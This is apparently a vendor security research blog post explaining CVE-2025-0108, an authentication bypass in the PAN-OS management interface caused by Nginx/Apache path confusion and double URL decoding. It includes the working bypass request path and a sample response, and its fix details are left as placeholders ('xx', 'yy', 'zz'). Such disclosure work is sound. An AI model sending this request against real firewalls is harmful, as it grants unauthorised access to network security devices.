Nginx/Apache Path Confusion to Auth Bypass in PAN-OS (CVE-2025-0108)
Nginx/Apache Path Confusion to Auth Bypass in PAN-OS
A few months ago, the news broke of CVE-2024-0012 and CVE-2024-9474 under active exploitation in Palo Alto's firewall. Described as a combination of an auth bypass and command execution, successful exploitation led to root on the affected devices.
At Assetnote, we not only wrote checks for the vulnerability but also had a look into how the patch worked. This is our standard practice so we can proactively support our customers.
As we looked further into the architecture of the management interface, we suspected something was off, even post-patch. This is the story of how we discovered a zero day auth bypass in the PAN-OS management interface.
As always, after disclosure, Assetnote clients were informed immediately via our Attack Surface Management platform as newly detected vulnerabilities. We worked with our clients to swiftly mitigate their issues to prevent any in-the-wild exploits. Assetnote’s research team continues to perform original security research to inform our customers about zero-day vulnerabilities in their attack surface.
Why is the Architecture Suspicious?
To understand why the architecture is suspicious, let's have a look at how the authentication is implemented.
Your web request to the management interface is handled by three separate components; Nginx, Apache, and the PHP application itself. First, your web request hits the Nginx reverse proxy. If your request is on a port which indicates it's destined for the management interface, PAN-OS sets a bunch of headers:
proxy_set_header X-Real-IP "";
proxy_set_header X-Real-Scheme "";
proxy_set_header X-Real-Port "";
proxy_set_header X-Real-Server-IP "";
proxy_set_header X-Forwarded-For "";
proxy_set_header X-pan-ndpp-mode "";
proxy_set_header Proxy "";
proxy_set_header X-pan-AuthCheck 'on';
The most important of these is (as you may guess) <span class="code_single-line">X-pan-AuthCheck: on</span>, which indicates to downstream that we should require authentication. The Nginx configuration then goes through a bunch of location checks and selectively sets the auth check to off:
if ($uri ~ ^\/unauth\/.+$) {
set $panAuthCheck 'off';
}
if ($uri = /php/logout.php) {
set $panAuthCheck 'off';
}
# ...
This means that (for example), if we pass <span class="code_single-line">/unauth/foo/bar/baz</span>, we will have <span class="code_single-line">X-pan-AuthCheck: off</span> set, which indicates to downstream that we should not require authentication.
The request is then proxied to Apache. _Apache will re-normalize and re-process the request_, as well as applying a rewrite rule if matching:
<Location "/">
# Turns off DirectorySlash as it uses input host in redirect thus a vulnerability.
# Have not found a way to fix that.
DirectorySlash off
RewriteEngine on
RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
AddEncoding gzip .gz
Options Indexes FollowSymLinks
Require all granted
</Location>
If the file requested is a PHP file, Apache will then pass through the request via <span class="code_single-line">mod_php</span> FCGI, which enforces authentication based upon the header:
if (
$_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
&& $_SERVER['PHP_SELF'] !== '/CA/ocsp'
&& $_SERVER['PHP_SELF'] !== '/php/login.php'
&& stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
// ... check authentication ...
}
So why is this suspicious? Our authentication is set at the Nginx level and is based upon HTTP headers, which we can set almost arbitrarily. Our request is then re-processed again in Apache, which may process the path or headers differently to Nginx! Then and only then is the request handed down to PHP. If there is a differential between what Nginx thinks our request looks like and what Apache thinks our request looks like, we could achieve an authentication bypass. And as it turns out, Apache does have some weird path processing behavior.
Weird Apache Behavior
If you have been following [Orange's latest research on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/), you may be suspicious of the above <span class="code_single-line">RewriteRule</span>:
<Location "/">
# ...
RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
# ...
</Location>
However, because this RewriteRule is in a location block, this rewrite happens in so-called ["per-dir" context](https://httpd.apache.org/docs/trunk/rewrite/tech.html#InternalAPI), which foils most of the attacks mentioned in the blog post. However, Apache still has some interesting implementation details in how it processes this <span class="code_single-line">RewriteRule</span>. To explain this better, let's consider this simplified configuration:
<Location "/">
RewriteEngine On
RewriteRule (.*)\.abc$ $1 [L]
</Location>
This rule strips the <span class="code_single-line">.abc</span> extension from the end of a request, so <span class="code_single-line">/foo/hello.html</span> and <span class="code_single-line">/foo/hello.html.abc</span> end up requesting the same file. If we send a request to <span class="code_single-line">/foo/hello.html.abc</span>, what happens in order is as follows:
- <span class="code_single-line">mod_rewrite</span> gets the requested file as <span class="code_single-line">foo/hello.html.abc</span> and tests it against the rewrite rule.
- Since the rule matches, <span class="code_single-line">mod_rewrite</span> does the substitution and ends up with <span class="code_single-line">foo/hello.html</span>
- <span class="code_single-line">mod_rewrite</span> then appends a slash as the front to get <span class="code_single-line">/foo/hello.html</span> and does an "internal redirect" - this involves re-processing the request from the start as if the user had requested <span class="code_single-line">/foo/hello.html</span> directly.
The fact that Apache issues an internal redirect to implement per-directory rewrite rules has a couple of interesting consequences, which are not well documented. For example, environment variables set during the original request processing are dropped. Crucially for us, because the request is being processed twice, another effect is that the URL will be _url decoded twice_. Any information security professional will know about URL encoding - if we request either of:
/foo/hello.html
/foo/hello%25html
We will see the contents of <span class="code_single-line">/foo/hello.html</span>, since the request is URL decoded before processing. However, if we double encode and request <span class="code_single-line">/foo/hello%252ehtml</span>, we will get a 404. This is because Apache only url decodes once, and a file <span class="code_single-line">hello%25html</span> doesn't exist. However, if we request <span class="code_single-line">/foo/hello%252ehtml.abc</span>, we do in fact see the content of <span class="code_single-line">hello.html</span> ! The URL is being decoded twice; once on the initial request, and once on the internal redirect. If the rule is applied multiple times, this can get even crazier; a request like <span class="code_single-line">/foo/hello%25252ehtml.abc.abc</span> will work to triple decode the URL, etc.
The Bug
Let's return to PAN-OS and consider the following URL:
/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css
Nginx will URL decode this once, getting <span class="code_single-line">/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css</span>, and decide no normalisation of the path needs to take place, since there is no <span class="code_single-line">..</span> sequence. Then Nginx will test this <span class="code_single-line">$uri</span> against the paths, and see it hits this block:
if ($uri ~ ^\/unauth\/.+$) { set $panAuthCheck 'off';}
Since Nginx thinks we are in the unauth directory, it will set the <span class="code_single-line">X-pan-AuthCheck</span> header to <span class="code_single-line">off</span>, and proxy the request to Apache. Apache will receive the full URL again:
/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css
Apache will also URL decode this once:
/unauth/2e%2e/php/ztp_gate.php/PAN_help/x.css
Apache also decides it does not need any normalization. However, it will see that it matches the <span class="code_single-line">RewriteRule</span> specified:
RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
So it will rewrite the URL to:
/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css.gz
Apache then issues an internal redirect, which means the request is reprocessed. Apache receives the request again, but this time, the path URL decoded looks like this:
/unauth/../php/ztp_gate.php/PAN_help/x.css.gz
This is a directory traversal, which we have to normalise! So Apache rewrites the URL internally to resolve the traversal and now the URL looks like this, which will be passed to PHP's FCGI via <span class="code_single-line">mod_php</span>.
/php/ztp_gate.php/PAN_help/x.css.gz
<span class="code_single-line">mod_php</span> sees that this looks like a request for a path <span class="code_single-line">SCRIPT_FILENAME=/php/ztp_gate.php</span> with some path info afterwards (<span class="code_single-line">PATH_INFO=/PAN_help/x.css.gz</span>), so it will execute <span class="code_single-line">/php/ztp_gate.php</span>. And since the <span class="code_single-line">X-pan-AuthCheck</span> header was set to <span class="code_single-line">off</span> by Nginx, no authentication is required!
![](https://cdn.prod.website-files.com/64233a8baf1eba1d72a641d4/675a570390e2bdfea0c47b8d_675a566eeffa3e94158f7513_wrapped.png)
This leads to a full authentication bypass in the PAN-OS management interface.
GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: my.testing.environment
Connection: close
...
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2024 02:34:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
<html>
<head>
<title>Zero Touch Provisioning</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript">
window.Pan = window.Pan || {}; window.Pan.st = { st: {}};
...
Conclusion
In this blog post we have explored a suspicious (and quite common) architecture where authentication is enforced at a proxy later but then the request is passed through a second layer with different behavior. Fundamentally, these sorts of architectures lead to things like header smuggling and path confusion, which can result in many impactful bugs!
This vulnerability was fixed in versions xx and yy and assigned CVE zz. Palo Alto recommends that you whitelist IPs in the management interface to prevent this or similar vulnerabilities from being exploited over the internet.
More Like This
Ready to get started?
Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.